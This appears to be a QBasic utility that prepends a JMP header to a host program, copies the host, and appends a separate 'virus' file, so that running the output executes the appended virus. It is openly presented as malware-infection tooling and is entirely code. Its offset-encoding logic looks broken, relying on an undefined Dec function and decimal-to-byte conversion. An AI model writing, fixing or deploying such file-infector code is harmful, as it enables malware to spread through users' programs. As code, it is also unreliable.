DIM dd AS STRING * 1
DECLARE FUNCTION Dec! (hx$)
CLS
INPUT "In Filename"; f$
INPUT "Out Filename"; of$
INPUT "Virus Filename"; vf$
'Open the needed files!
OPEN f$ FOR BINARY AS #1
OPEN of$ FOR BINARY AS #2
OPEN vf$ FOR BINARY AS #3
'Calculates the number to use as a header
fs = LOF(1) + LEN(LTRIM$(RTRIM$(STR$(LOF(1))))) - 1
oo$ = ""
'Converts it to string
mm$ = UCASE$(RTRIM$(LTRIM$(STR$(fs - 1))))
'Converts the string to a JMP code that JMPs to the end where virus is
FOR q = LEN(mm$) + 1 TO 1 STEP -2
IF Dec(MID$(mm$, q, 2)) = 0 THEN GOTO 2
oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2)))
2 NEXT q
Hdr$ = "é" + oo$
'Prints all the stuff in the right place
FOR e = 1 TO LEN(Hdr$)
ff$ = MID$(Hdr$, e, 1)
PUT #2, , ff$
NEXT e
FOR mm = 1 TO LOF(1)
GET #1, mm, dd
PUT #2, , dd
dd = ""
NEXT mm
dd = ""
FOR m2 = 1 TO LOF(3)
GET #3, m2, dd
PUT #2, , dd
dd = ""
NEXT m2
'And we're done!
END

